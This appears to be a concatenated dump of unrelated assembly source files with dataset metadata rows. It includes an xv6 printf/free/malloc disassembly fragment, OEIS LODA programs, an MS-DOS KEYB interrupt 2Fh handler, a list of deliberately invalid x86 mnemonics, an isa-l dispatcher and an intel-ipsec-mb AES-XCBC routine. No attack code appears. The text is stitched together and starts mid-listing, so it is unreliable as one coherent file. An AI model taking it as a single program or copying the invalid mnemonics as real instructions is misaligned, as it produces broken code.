mov %esi,0x4(%esp) 67e: 89 0c 24 mov %ecx,(%esp) s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 681: 88 45 e7 mov %al,-0x19(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 684: e8 ef fc ff ff call 378 <write> 689: 8b 45 0c mov 0xc(%ebp),%eax putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, *ap); ap++; 68c: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 690: e9 40 fe ff ff jmp 4d5 <printf+0x35> 695: 90 nop 696: 90 nop 697: 90 nop 698: 90 nop 699: 90 nop 69a: 90 nop 69b: 90 nop 69c: 90 nop 69d: 90 nop 69e: 90 nop 69f: 90 nop 000006a0 <free>: static Header base; static Header *freep; void free(void *ap) { 6a0: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6a1: a1 88 08 00 00 mov 0x888,%eax static Header base; static Header *freep; void free(void *ap) { 6a6: 89 e5 mov %esp,%ebp 6a8: 57 push %edi 6a9: 56 push %esi 6aa: 53 push %ebx 6ab: 8b 5d 08 mov 0x8(%ebp),%ebx Header *bp, *p; bp = (Header*)ap - 1; 6ae: 8d 4b f8 lea -0x8(%ebx),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6b1: 39 c8 cmp %ecx,%eax 6b3: 73 1d jae 6d2 <free+0x32> 6b5: 8d 76 00 lea 0x0(%esi),%esi 6b8: 8b 10 mov (%eax),%edx 6ba: 39 d1 cmp %edx,%ecx 6bc: 72 1a jb 6d8 <free+0x38> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 6be: 39 d0 cmp %edx,%eax 6c0: 72 08 jb 6ca <free+0x2a> 6c2: 39 c8 cmp %ecx,%eax 6c4: 72 12 jb 6d8 <free+0x38> 6c6: 39 d1 cmp %edx,%ecx 6c8: 72 0e jb 6d8 <free+0x38> 6ca: 89 d0 mov %edx,%eax free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6cc: 39 c8 cmp %ecx,%eax 6ce: 66 90 xchg %ax,%ax 6d0: 72 e6 jb 6b8 <free+0x18> 6d2: 8b 10 mov (%eax),%edx 6d4: eb e8 jmp 6be <free+0x1e> 6d6: 66 90 xchg %ax,%ax if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ 6d8: 8b 71 04 mov 0x4(%ecx),%esi 6db: 8d 3c f1 lea (%ecx,%esi,8),%edi 6de: 39 d7 cmp %edx,%edi 6e0: 74 19 je 6fb <free+0x5b> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 6e2: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 6e5: 8b 50 04 mov 0x4(%eax),%edx 6e8: 8d 34 d0 lea (%eax,%edx,8),%esi 6eb: 39 ce cmp %ecx,%esi 6ed: 74 23 je 712 <free+0x72> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 6ef: 89 08 mov %ecx,(%eax) freep = p; 6f1: a3 88 08 00 00 mov %eax,0x888 } 6f6: 5b pop %ebx 6f7: 5e pop %esi 6f8: 5f pop %edi 6f9: 5d pop %ebp 6fa: c3 ret bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ bp->s.size += p->s.ptr->s.size; 6fb: 03 72 04 add 0x4(%edx),%esi 6fe: 89 71 04 mov %esi,0x4(%ecx) bp->s.ptr = p->s.ptr->s.ptr; 701: 8b 10 mov (%eax),%edx 703: 8b 12 mov (%edx),%edx 705: 89 53 f8 mov %edx,-0x8(%ebx) } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ 708: 8b 50 04 mov 0x4(%eax),%edx 70b: 8d 34 d0 lea (%eax,%edx,8),%esi 70e: 39 ce cmp %ecx,%esi 710: 75 dd jne 6ef <free+0x4f> p->s.size += bp->s.size; 712: 03 51 04 add 0x4(%ecx),%edx 715: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 718: 8b 53 f8 mov -0x8(%ebx),%edx 71b: 89 10 mov %edx,(%eax) } else p->s.ptr = bp; freep = p; 71d: a3 88 08 00 00 mov %eax,0x888 } 722: 5b pop %ebx 723: 5e pop %esi 724: 5f pop %edi 725: 5d pop %ebp 726: c3 ret 727: 89 f6 mov %esi,%esi 729: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000730 <malloc>: return freep; } void* malloc(uint nbytes) { 730: 55 push %ebp 731: 89 e5 mov %esp,%ebp 733: 57 push %edi 734: 56 push %esi 735: 53 push %ebx 736: 83 ec 2c sub $0x2c,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 739: 8b 5d 08 mov 0x8(%ebp),%ebx if((prevp = freep) == 0){ 73c: 8b 0d 88 08 00 00 mov 0x888,%ecx malloc(uint nbytes) { Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 742: 83 c3 07 add $0x7,%ebx 745: c1 eb 03 shr $0x3,%ebx 748: 83 c3 01 add $0x1,%ebx if((prevp = freep) == 0){ 74b: 85 c9 test %ecx,%ecx 74d: 0f 84 9b 00 00 00 je 7ee <malloc+0xbe> base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 753: 8b 01 mov (%ecx),%eax if(p->s.size >= nunits){ 755: 8b 50 04 mov 0x4(%eax),%edx 758: 39 d3 cmp %edx,%ebx 75a: 76 27 jbe 783 <malloc+0x53> p->s.size -= nunits; p += p->s.size; p->s.size = nunits; } freep = prevp; return (void*)(p + 1); 75c: 8d 3c dd 00 00 00 00 lea 0x0(,%ebx,8),%edi morecore(uint nu) { char *p; Header *hp; if(nu < 4096) 763: be 00 80 00 00 mov $0x8000,%esi 768: 89 7d e4 mov %edi,-0x1c(%ebp) 76b: 90 nop 76c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 770: 3b 05 88 08 00 00 cmp 0x888,%eax 776: 74 30 je 7a8 <malloc+0x78> 778: 89 c1 mov %eax,%ecx nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 77a: 8b 01 mov (%ecx),%eax if(p->s.size >= nunits){ 77c: 8b 50 04 mov 0x4(%eax),%edx 77f: 39 d3 cmp %edx,%ebx 781: 77 ed ja 770 <malloc+0x40> if(p->s.size == nunits) 783: 39 d3 cmp %edx,%ebx 785: 74 61 je 7e8 <malloc+0xb8> prevp->s.ptr = p->s.ptr; else { p->s.size -= nunits; 787: 29 da sub %ebx,%edx 789: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; 78c: 8d 04 d0 lea (%eax,%edx,8),%eax p->s.size = nunits; 78f: 89 58 04 mov %ebx,0x4(%eax) } freep = prevp; 792: 89 0d 88 08 00 00 mov %ecx,0x888 return (void*)(p + 1); 798: 83 c0 08 add $0x8,%eax } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } } 79b: 83 c4 2c add $0x2c,%esp 79e: 5b pop %ebx 79f: 5e pop %esi 7a0: 5f pop %edi 7a1: 5d pop %ebp 7a2: c3 ret 7a3: 90 nop 7a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi morecore(uint nu) { char *p; Header *hp; if(nu < 4096) 7a8: 8b 45 e4 mov -0x1c(%ebp),%eax 7ab: 81 fb 00 10 00 00 cmp $0x1000,%ebx 7b1: bf 00 10 00 00 mov $0x1000,%edi 7b6: 0f 43 fb cmovae %ebx,%edi 7b9: 0f 42 c6 cmovb %esi,%eax nu = 4096; p = sbrk(nu * sizeof(Header)); 7bc: 89 04 24 mov %eax,(%esp) 7bf: e8 1c fc ff ff call 3e0 <sbrk> if(p == (char*)-1) 7c4: 83 f8 ff cmp $0xffffffff,%eax 7c7: 74 18 je 7e1 <malloc+0xb1> return 0; hp = (Header*)p; hp->s.size = nu; 7c9: 89 78 04 mov %edi,0x4(%eax) free((void*)(hp + 1)); 7cc: 83 c0 08 add $0x8,%eax 7cf: 89 04 24 mov %eax,(%esp) 7d2: e8 c9 fe ff ff call 6a0 <free> return freep; 7d7: 8b 0d 88 08 00 00 mov 0x888,%ecx } freep = prevp; return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) 7dd: 85 c9 test %ecx,%ecx 7df: 75 99 jne 77a <malloc+0x4a> if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 7e1: 31 c0 xor %eax,%eax 7e3: eb b6 jmp 79b <malloc+0x6b> 7e5: 8d 76 00 lea 0x0(%esi),%esi if(p->s.size == nunits) prevp->s.ptr = p->s.ptr; 7e8: 8b 10 mov (%eax),%edx 7ea: 89 11 mov %edx,(%ecx) 7ec: eb a4 jmp 792 <malloc+0x62> Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 7ee: c7 05 88 08 00 00 80 movl $0x880,0x888 7f5: 08 00 00 base.s.size = 0; 7f8: b9 80 08 00 00 mov $0x880,%ecx Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 7fd: c7 05 80 08 00 00 80 movl $0x880,0x880 804: 08 00 00 base.s.size = 0; 807: c7 05 84 08 00 00 00 movl $0x0,0x884 80e: 00 00 00 811: e9 3d ff ff ff jmp 753 <malloc+0x23>
29.00965
60
0.415256
[ "MIT-0" ]
jieun-cloud/xv6-file
cat.asm
48,098
Assembly
; A055417: Number of points in N^n of norm <= 2. ; Submitted by Jamie Morken(s1) ; 1,3,6,11,20,36,63,106,171,265,396,573,806,1106,1485,1956,2533,3231,4066,5055,6216,7568,9131,10926,12975,15301,17928,20881,24186,27870,31961,36488,41481,46971,52990,59571,66748,74556,83031,92210,102131,112833,124356,136741,150030,164266,179493,195756,213101,231575,251226,272103,294256,317736,342595,368886,396663,425981,456896,489465,523746,559798,597681,637456,679185,722931,768758,816731,866916,919380,974191,1031418,1091131,1153401,1218300,1285901,1356278,1429506,1505661,1584820,1667061,1752463 mov $1,$0 add $0,1 mul $0,2 bin $1,3 add $1,$0 add $1,2 mul $0,$1 div $0,8
50.615385
500
0.779635
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/055/A055417.asm
658
Assembly
;/* ; * Microsoft Confidential ; * Copyright (C) Microsoft Corporation 1987 - 1991 ; * All Rights Reserved. ; */ PAGE ,132 ; ; ; MS-DOS 5.00 - NLS Support - KEYB Command ; ; File Name: KEYBI2F.ASM ; ---------- ; ; Description: ; ------------ ; Contains Interrupt 2F handler. ; ; Procedures Contained in This File: ; ---------------------------------- ; KEYB_INT_2F - Interupt 2F handler ; ; Include Files Required: ; ----------------------- ; INCLUDE KEYBEQU.INC ; INCLUDE KEYBSHAR.INC ;M004 INCLUDE KEYBMAC.INC ; INCLUDE KEYBCMD.INC ; INCLUDE KEYBCPSD.INC ; INCLUDE KEYBI9C.INC ; ; External Procedure References: ; ------------------------------ ; FROM FILE ????????.ASM: ; procedure - description???????????????????????????????? ; ; Linkage Information: Refer to file KEYB.ASM ; -------------------- ; ; Change History: ; --------------- INCLUDE KEYBEQU.INC INCLUDE KEYBSHAR.INC ;M004 INCLUDE KEYBMAC.INC INCLUDE KEYBCMD.INC INCLUDE KEYBCPSD.INC INCLUDE KEYBI9C.INC PUBLIC KEYB_INT_2F EXTRN ERROR_BEEP:NEAR CODE SEGMENT PUBLIC 'CODE' ASSUME CS:CODE,DS:nothing ; Module: KEYB_INT_2F ; ; Description: ; ; Input Registers: ; AH = 0ADH ; AL = 80,81,82,83 ; M003 ; ; Output Registers: ; N/A ; ; Logic: ; IF AH = 0ADh THEN (this call is for us) ; Set carry flag to 0 ; IF AL = 80 THEN ; Get major and minor ; Get SEG:OFFSET of SHARED_DATA_AREA ; ; IF AL = 81 THEN ; Get FIRST_XLAT_PTR ; FOR each table ; IF code page requested = code page value at pointer THEN ; Set INVOKED_CODE_PAGE ; Set ACTIVE_XLAT_PTR ; EXIT ; ELSE ; Get NEXT_SECT_PTR ; NEXT table ; IF no corresponding code page found THEN ; Set carry flag ; ; IF AL = 82 THEN ; IF BL = 00 THEN ; Set COUNTRY_FLAG = 00 ; ELSE IF BL = 0FFH THEN ; Set COUNTRY_FLAG = 0FFH ; ELSE ; Set carry flag ; ; IF AL = 83 THEN ; M003 ; Return BL=COUNTRY_FLAG ; M003 ; ; JMP to previous INT 2FH handler CP_QUERY EQU 80H CP_INVOKE EQU 81H CP_LANGUAGE EQU 82H CP_QLANGUAGE EQU 83H ; M003 VERSION_MAJOR EQU 01H VERSION_MINOR EQU 00H CARRY_FLAG EQU 01H KEYB_INT_2F PROC cmp ah,INT_2F_SUB_FUNC ; is it for us? jz our_i2f_interrupt i2f_chain: ; Under DOS 5, it is always safe for us to assume that there was ; an existing Int2f vector for us to continue to. jmp cs:sd.old_int_2f our_i2f_interrupt: push bp mov bp,sp and word ptr [bp]+6,not carry_flag ; pre-clear carry call do_our_i2f ; pass bp.6 -> flags to functions pop bp jmp i2f_chain do_our_i2f: CMP AL,CP_QUERY ; Q..query CP? JNE INT_2F_CP_INVOKE ; N..next MOV AX,-1 ; Y..process query mov bx,(version_major shl 8) + version_minor MOV DI,OFFSET SD PUSH CS POP ES ret INT_2F_CP_INVOKE: CMP AL,CP_INVOKE ; Q..invoke CP? JNE INT_2F_CP_LANGUAGE ; N..next MOV SI,cs:SD.FIRST_XLAT_PTR ; Get FIRST_XLAT_PTR INT_2F_NEXT_SECTION: CMP SI,-1 JE INT_2F_ERROR_FLAG cmp bx,cs:[SI].XS_CP_ID ; is this the code page we want? JNE INT_2F_CP_INVOKE_CONT1 MOV cs:SD.ACTIVE_XLAT_PTR,SI ; IF Yes, Set the ACTIVE_XLAT_PTR MOV cs:SD.INVOKED_CP_TABLE,BX ; record new code page ret INT_2F_CP_INVOKE_CONT1: MOV SI,cs:[SI].XS_NEXT_SECT_PTR ; Chain to NEXT_SECT_PTR JMP INT_2F_NEXT_SECTION ; NEXT_SECTION INT_2F_ERROR_FLAG: mov ax,1 ; ***??? why do we return error code ; ; only in this case????? i2f_reterror: or word ptr [bp]+6,carry_flag ; set carry to int2f caller ret INT_2F_CP_LANGUAGE: CMP AL,CP_LANGUAGE ; Q..Set default language?? ;M003 jnz int2f_ret ; don't handle undefined functions jnz INT_2F_CP_QLANG ; go check for query language ;M003 ; Now, if BL=0 or 0ffh, we'll set COUNTRY_FLAG to that value. inc bl cmp bl,2 ; set carry if bl is legal dec bl ; restore old value, preserve carry jnc i2f_reterror ; done if error MOV cs:COUNTRY_FLAG,BL ; Set COUNTRY_FLAG to 0 or 0ffh ; M003 -- added code ret INT_2F_CP_QLANG: CMP AL,CP_QLANGUAGE jnz int2f_ret mov bl,cs:COUNTRY_FLAG ; M003 -- end added code int2f_ret: ret KEYB_INT_2F ENDP CODE ENDS END 
20.72549
72
0.641911
[ "Apache-2.0" ]
minblock/msdos
cmd/keyb/keyb2/keybi2f.asm
4,228
Assembly
;invalid instructions, should not be highlighted cwdqo fbst fcmovnbu fiaddp/fisubp cmovnpo/cmovpos fucomipp fidivp/fidivrp ficomip/ficompp fimulp fisubp/fisubrp paddub/padduw cvtsi2pi/cvtps2ps/cvtsi2si/cvtpi2pi/cvtss2ss/cvtss2ps/cvtss2pi/cvtpi2ss cvttsi2si/cvttps2ps/cvttpi2pi cvttdq2ps pmovsxww vmovbe vmovdq2q/vmovq2dq vmovnti/vmovntq vmovsx/vmovsxd vmovzx vmul vpshufw vfmsubadd132sd/vfmsubadd132ss/vfnmsubadd132pd vfmaddsubsd/vfnmaddsubpd vgatherds/vgatherdpq/vpgatherdqpd xwait/iwait outsq padduw popd/popq/popfdq prefetcht3/prefetchta psubuw loopn repn sald/sard broadcast/vvbroadcast pmovsx/pmovzx vbroadcast vfnmaddsub213pd xrdfsbase vcvttusi2sd/vcvttusi2ss
16.219512
71
0.882707
[ "MIT" ]
13xforever/x86-assembly-textmate-bundle
Tests/invalid.asm
665
Assembly
; A017211: a(n) = (9*n + 4)^3. ; 64,2197,10648,29791,64000,117649,195112,300763,438976,614125,830584,1092727,1404928,1771561,2197000,2685619,3241792,3869893,4574296,5359375,6229504,7189057,8242408,9393931,10648000,12008989,13481272,15069223,16777216,18609625,20570824,22665187,24897088,27270901,29791000,32461759,35287552,38272753,41421736,44738875,48228544,51895117,55742968,59776471,64000000,68417929,73034632,77854483,82881856,88121125,93576664,99252847,105154048,111284641,117649000,124251499,131096512,138188413,145531576 mul $0,9 add $0,4 pow $0,3
79.285714
495
0.834234
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/017/A017211.asm
555
Assembly
; A087059: Difference between 2*n^2 and the next greater square number. ; Submitted by Jamie Morken(s2) ; 2,1,7,4,14,9,2,16,7,25,14,1,23,8,34,17,47,28,7,41,18,56,31,4,46,17,63,32,82,49,14,68,31,89,50,9,71,28,94,49,2,72,23,97,46,124,71,16,98,41,127,68,7,97,34,128,63,161,94,25,127,56,162,89,14,124,47,161,82,1,119 add $0,1 mov $1,$0 pow $1,2 lpb $1 sub $1,$0 add $0,1 sub $1,$0 lpe mul $0,2 sub $0,$1 add $0,1
26
208
0.644231
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/087/A087059.asm
416
Assembly
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Copyright(c) 2011-2018 Intel Corporation All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions ; are met: ; * Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; * Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in ; the documentation and/or other materials provided with the ; distribution. ; * Neither the name of Intel Corporation nor the names of its ; contributors may be used to endorse or promote products derived ; from this software without specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT ; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; %include "reg_sizes.asm" %include "multibinary.asm" default rel [bits 64] extern mem_zero_detect_avx extern mem_zero_detect_sse extern mem_zero_detect_base mbin_interface isal_zero_detect mbin_dispatch_init5 isal_zero_detect, mem_zero_detect_base, mem_zero_detect_sse, mem_zero_detect_avx, mem_zero_detect_avx
47.581395
121
0.727761
[ "BSD-3-Clause" ]
Danliran/isa-l
mem/mem_multibinary.asm
2,046
Assembly
Name: ys_chip0.asm Type: file Size: 368848 Last-Modified: '2016-05-13T04:51:40Z' SHA-1: AB15B0F98DFD1820D600928F4575E2BCC8C26FA6 Description: null
21
47
0.816327
[ "MIT" ]
prismotizm/gigaleak
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver2/chip/ys_chip0.asm
147
Assembly
;; ;; Copyright (c) 2012-2018, Intel Corporation ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; ;; * Redistributions of source code must retain the above copyright notice, ;; this list of conditions and the following disclaimer. ;; * Redistributions in binary form must reproduce the above copyright ;; notice, this list of conditions and the following disclaimer in the ;; documentation and/or other materials provided with the distribution. ;; * Neither the name of Intel Corporation nor the names of its contributors ;; may be used to endorse or promote products derived from this software ;; without specific prior written permission. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE ;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;; %include "include/os.asm" %include "job_aes_hmac.asm" %include "mb_mgr_datastruct.asm" %include "include/reg_sizes.asm" %include "include/memcpy.asm" %include "include/const.inc" %ifndef AES_XCBC_X8 %define AES_XCBC_X8 aes_xcbc_mac_128_x8 %define SUBMIT_JOB_AES_XCBC submit_job_aes_xcbc_avx %endif ; void AES_XCBC_X8(AES_XCBC_ARGS_x8 *args, UINT64 len_in_bytes); extern AES_XCBC_X8 section .data default rel align 16 dupw: ;ddq 0x01000100010001000100010001000100 dq 0x0100010001000100, 0x0100010001000100 x80: ;ddq 0x00000000000000000000000000000080 dq 0x0000000000000080, 0x0000000000000000 section .text %ifdef LINUX %define arg1 rdi %define arg2 rsi %else %define arg1 rcx %define arg2 rdx %endif %define state arg1 %define job arg2 %define len2 arg2 %define job_rax rax %if 1 ; idx needs to be in rbp %define len r11 %define idx rbp %define tmp2 rbp %define tmp r14 %define lane r8 %define icv r9 %define p2 r9 %define last_len r10 %define lane_data r12 %define p r13 %define unused_lanes rbx %endif ; STACK_SPACE needs to be an odd multiple of 8 ; This routine and its callee clobbers all GPRs struc STACK _gpr_save: resq 8 _rsp_save: resq 1 endstruc ; JOB* SUBMIT_JOB_AES_XCBC(MB_MGR_AES_XCBC_OOO *state, JOB_AES_HMAC *job) ; arg 1 : state ; arg 2 : job MKGLOBAL(SUBMIT_JOB_AES_XCBC,function,internal) SUBMIT_JOB_AES_XCBC: mov rax, rsp sub rsp, STACK_size and rsp, -16 mov [rsp + _gpr_save + 8*0], rbx mov [rsp + _gpr_save + 8*1], rbp mov [rsp + _gpr_save + 8*2], r12 mov [rsp + _gpr_save + 8*3], r13 mov [rsp + _gpr_save + 8*4], r14 mov [rsp + _gpr_save + 8*5], r15 %ifndef LINUX mov [rsp + _gpr_save + 8*6], rsi mov [rsp + _gpr_save + 8*7], rdi %endif mov [rsp + _rsp_save], rax ; original SP mov unused_lanes, [state + _aes_xcbc_unused_lanes] mov lane, unused_lanes and lane, 0xF shr unused_lanes, 4 imul lane_data, lane, _XCBC_LANE_DATA_size lea lane_data, [state + _aes_xcbc_ldata + lane_data] mov len, [job + _msg_len_to_hash_in_bytes] mov [state + _aes_xcbc_unused_lanes], unused_lanes mov [lane_data + _xcbc_job_in_lane], job mov dword [lane_data + _xcbc_final_done], 0 mov tmp, [job + _k1_expanded] mov [state + _aes_xcbc_args_keys + lane*8], tmp mov p, [job + _src] add p, [job + _hash_start_src_offset_in_bytes] mov last_len, len cmp len, 16 jle small_buffer mov [state + _aes_xcbc_args_in + lane*8], p add p, len ; set point to end of data and last_len, 15 ; Check lsbs of msg len jnz slow_copy ; if not 16B mult, do slow copy fast_copy: vmovdqu xmm0, [p - 16] ; load last block M[n] mov tmp, [job + _k2] ; load K2 address vmovdqu xmm1, [tmp] ; load K2 vpxor xmm0, xmm0, xmm1 ; M[n] XOR K2 vmovdqa [lane_data + _xcbc_final_block], xmm0 sub len, 16 ; take last block off length end_fast_copy: vpxor xmm0, xmm0, xmm0 shl lane, 4 ; multiply by 16 vmovdqa [state + _aes_xcbc_args_ICV + lane], xmm0 vmovdqa xmm0, [state + _aes_xcbc_lens] XVPINSRW xmm0, xmm1, tmp, lane, len, no_scale vmovdqa [state + _aes_xcbc_lens], xmm0 cmp unused_lanes, 0xf jne return_null start_loop: ; Find min length vphminposuw xmm1, xmm0 vpextrw DWORD(len2), xmm1, 0 ; min value vpextrw DWORD(idx), xmm1, 1 ; min index (0...7) cmp len2, 0 je len_is_0 vpshufb xmm1, xmm1, [rel dupw] ; duplicate words across all lanes vpsubw xmm0, xmm0, xmm1 vmovdqa [state + _aes_xcbc_lens], xmm0 ; "state" and "args" are the same address, arg1 ; len is arg2 call AES_XCBC_X8 ; state and idx are intact len_is_0: ; process completed job "idx" imul lane_data, idx, _XCBC_LANE_DATA_size lea lane_data, [state + _aes_xcbc_ldata + lane_data] cmp dword [lane_data + _xcbc_final_done], 0 jne end_loop mov dword [lane_data + _xcbc_final_done], 1 vmovdqa xmm0, [state + _aes_xcbc_lens] XVPINSRW xmm0, xmm1, tmp, idx, 16, scale_x16 vmovdqa [state + _aes_xcbc_lens], xmm0 lea tmp, [lane_data + _xcbc_final_block] mov [state + _aes_xcbc_args_in + 8*idx], tmp jmp start_loop end_loop: ; process completed job "idx" mov job_rax, [lane_data + _xcbc_job_in_lane] mov icv, [job_rax + _auth_tag_output] mov unused_lanes, [state + _aes_xcbc_unused_lanes] mov qword [lane_data + _xcbc_job_in_lane], 0 or dword [job_rax + _status], STS_COMPLETED_HMAC shl unused_lanes, 4 or unused_lanes, idx shl idx, 4 ; multiply by 16 mov [state + _aes_xcbc_unused_lanes], unused_lanes ; copy 12 bytes vmovdqa xmm0, [state + _aes_xcbc_args_ICV + idx] vmovq [icv], xmm0 vpextrd [icv + 8], xmm0, 2 %ifdef SAFE_DATA ;; Clear ICV vpxor xmm0, xmm0 vmovdqa [state + _aes_xcbc_args_ICV + idx], xmm0 ;; Clear final block (32 bytes) vmovdqa [lane_data + _xcbc_final_block], xmm0 vmovdqa [lane_data + _xcbc_final_block + 16], xmm0 %endif return: mov rbx, [rsp + _gpr_save + 8*0] mov rbp, [rsp + _gpr_save + 8*1] mov r12, [rsp + _gpr_save + 8*2] mov r13, [rsp + _gpr_save + 8*3] mov r14, [rsp + _gpr_save + 8*4] mov r15, [rsp + _gpr_save + 8*5] %ifndef LINUX mov rsi, [rsp + _gpr_save + 8*6] mov rdi, [rsp + _gpr_save + 8*7] %endif mov rsp, [rsp + _rsp_save] ; original SP ret small_buffer: ; For buffers <= 16 Bytes ; The input data is set to final block lea tmp, [lane_data + _xcbc_final_block] ; final block mov [state + _aes_xcbc_args_in + lane*8], tmp add p, len ; set point to end of data cmp len, 16 je fast_copy slow_copy: and len, ~15 ; take final block off len sub p, last_len ; adjust data pointer lea p2, [lane_data + _xcbc_final_block + 16] ; upper part of final sub p2, last_len ; adjust data pointer backwards memcpy_avx_16_1 p2, p, last_len, tmp, tmp2 vmovdqa xmm0, [rel x80] ; fill reg with padding vmovdqu [lane_data + _xcbc_final_block + 16], xmm0 ; add padding vmovdqu xmm0, [p2] ; load final block to process mov tmp, [job + _k3] ; load K3 address vmovdqu xmm1, [tmp] ; load K3 vpxor xmm0, xmm0, xmm1 ; M[n] XOR K3 vmovdqu [lane_data + _xcbc_final_block], xmm0 ; write final block jmp end_fast_copy return_null: xor job_rax, job_rax jmp return %ifdef LINUX section .note.GNU-stack noalloc noexec nowrite progbits %endif
29.032967
81
0.707166
[ "BSD-3-Clause" ]
kevintraynor/intel-ipsec-mb
avx/mb_mgr_aes_xcbc_submit_avx.asm
7,926
Assembly
